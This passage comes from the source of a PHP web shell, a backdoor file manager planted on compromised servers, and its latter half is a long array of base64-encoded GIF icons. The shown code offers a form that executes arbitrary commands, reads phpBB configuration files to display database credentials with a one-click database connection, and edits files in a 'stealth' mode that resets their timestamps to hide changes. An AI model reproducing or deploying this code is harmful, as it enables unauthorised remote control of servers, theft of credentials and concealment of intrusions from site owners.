        $encoded = base64_decode($text);
        echo "<b>Base64 Decode";
    if (base64_encode($encoded) != $text) {echo " (failed)";}
    echo "</b><br>";
   }
   if (!empty($encoded))
   {
    echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
   }
   echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
        <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
        <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
        <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
        <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
        <P>";
  }
  elseif ($ft == "html") {
   if ($white) {@ob_clean();}
   echo $r;
   if ($white) {capriv8exit();}
  }
  elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  elseif ($ft == "phpsess") {
   echo "<pre>";
   $v = explode("|",$r);
   echo $v[0]."<br>";
   var_dump(unserialize($v[1]));
   echo "</pre>";
  }
  elseif ($ft == "exe") {
   $ext = explode(".",$f);
   $c = count($ext)-1;
   $ext = $ext[$c];
   $ext = strtolower($ext);
   $rft = "";
   foreach($exeftypes as $k=>$v)
   {
    if (in_array($ext,$v)) {$rft = $k; break;}
   }
   $cmd = str_replace("%f%",$f,$rft);
   echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=x value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  }
  elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  elseif ($ft == "code") {
    if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
      $arr = explode("
",$r);
      if (count($arr == 18)) {
        include($d.$f);
        echo "<b>phpBB configuration is detected in this file!<br>";
        if ($dbms == "mysql4") {$dbms = "mysql";}
        if ($dbms == "mysql") {echo "<a href=\"".$surl."x=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
        else {echo "But, you can\'t connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
        echo "Parameters for manual connect:<br>";
        $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
        foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."=\'".htmlspecialchars($v)."\'<br>";}
        echo "</b><hr size=\"1\" noshade>";
      }
    }
    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
    if (!empty($white)) {@ob_clean();}
    highlight_file($d.$f);
    if (!empty($white)) {capriv8exit();}
    echo "</div>";
  }
  elseif ($ft == "download") {
    @ob_clean();
    header("Content-type: application/octet-stream");
    header("Content-length: ".filesize($d.$f));
    header("Content-disposition: attachment; filename=\"".$f."\";");
    echo $r;
    exit;
  }
  elseif ($ft == "notepad") {
    @ob_clean();
    header("Content-type: text/plain");
    header("Content-disposition: attachment; filename=\"".$f.".txt\";");
    echo($r);
    exit;
  }
  elseif ($ft == "img") {
    $inf = getimagesize($d.$f);
    if (!$white) {
      if (empty($imgsize)) {$imgsize = 20;}
      $width = $inf[0]/100*$imgsize;
      $height = $inf[1]/100*$imgsize;
      echo "<center><b>Size:</b>&nbsp;";
      $sizes = array("100","50","20");
      foreach ($sizes as $v) {
        echo "<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
        if ($imgsize != $v ) {echo $v;}
        else {echo "<u>".$v."</u>";}
        echo "</a>&nbsp;&nbsp;&nbsp;";
      }
      echo "<br><br><img src=\"".$surl."x=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
    }
    else {
      @ob_clean();
      $ext = explode($f,".");
      $ext = $ext[count($ext)-1];
      header("Content-type: ".$inf["mime"]);
      readfile($d.$f);
      exit;
    }
  }
  elseif ($ft == "edit") {
   if (!empty($submit))
   {
    if ($filestealth) {$stat = stat($d.$f);}
    $fp = fopen($d.$f,"w");
    if (!$fp) {echo "<b>Can\'t write to file!</b>";}
    else
    {
     echo "<b>Saved!</b>";
     fwrite($fp,$edit_text);
     fclose($fp);
     if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
     $r = $edit_text;
    }
   }
   $rows = count(explode("
",$r));
   if ($rows < 10) {$rows = 10;}
   if ($rows > 30) {$rows = 30;}
   echo "<form action=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href=\'".addslashes($surl."x=ls&d=".substr($d,0,-1))."\';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  }
  elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
}
echo "</div>
";
}
}
else {
@ob_clean();
$images = array(
"arrow_ltr"=>
"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
"back"=>
"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
"Wg0JADs=",
"buffer"=>
"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
"change"=>
"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
"zMshADs=",
"delete"=>
"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
"download"=>
"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
"forward"=>
"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
"WqsJADs=",
"home"=>
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
"mode"=>
"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
"search"=>
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
"setup"=>
"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
"small_dir"=>
"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
"small_unk"=>
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
"yAsokBkQADs=",
"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
"sort_asc"=>
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
"sort_desc"=>
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
"sql_button_drop"=>
"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
"AQEAOw==",
"sql_button_empty"=>
"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
"sql_button_insert"=>
"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
"up"=>
"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
"write"=>
"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
"ext_asp"=>
"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
"ext_mp3"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
"ext_avi"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
"ext_cgi"=>
"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
"RYtMAgEAOw==",
"ext_cmd"=>
"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
"dmrYAMn1onq/YKpjvEgAADs=",
"ext_cpp"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
"Eq7YrLDE7a4SADs=",
"ext_ini"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
"SnEjgPVarHEHgrB43JvszsQEADs=",
"ext_diz"=>
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
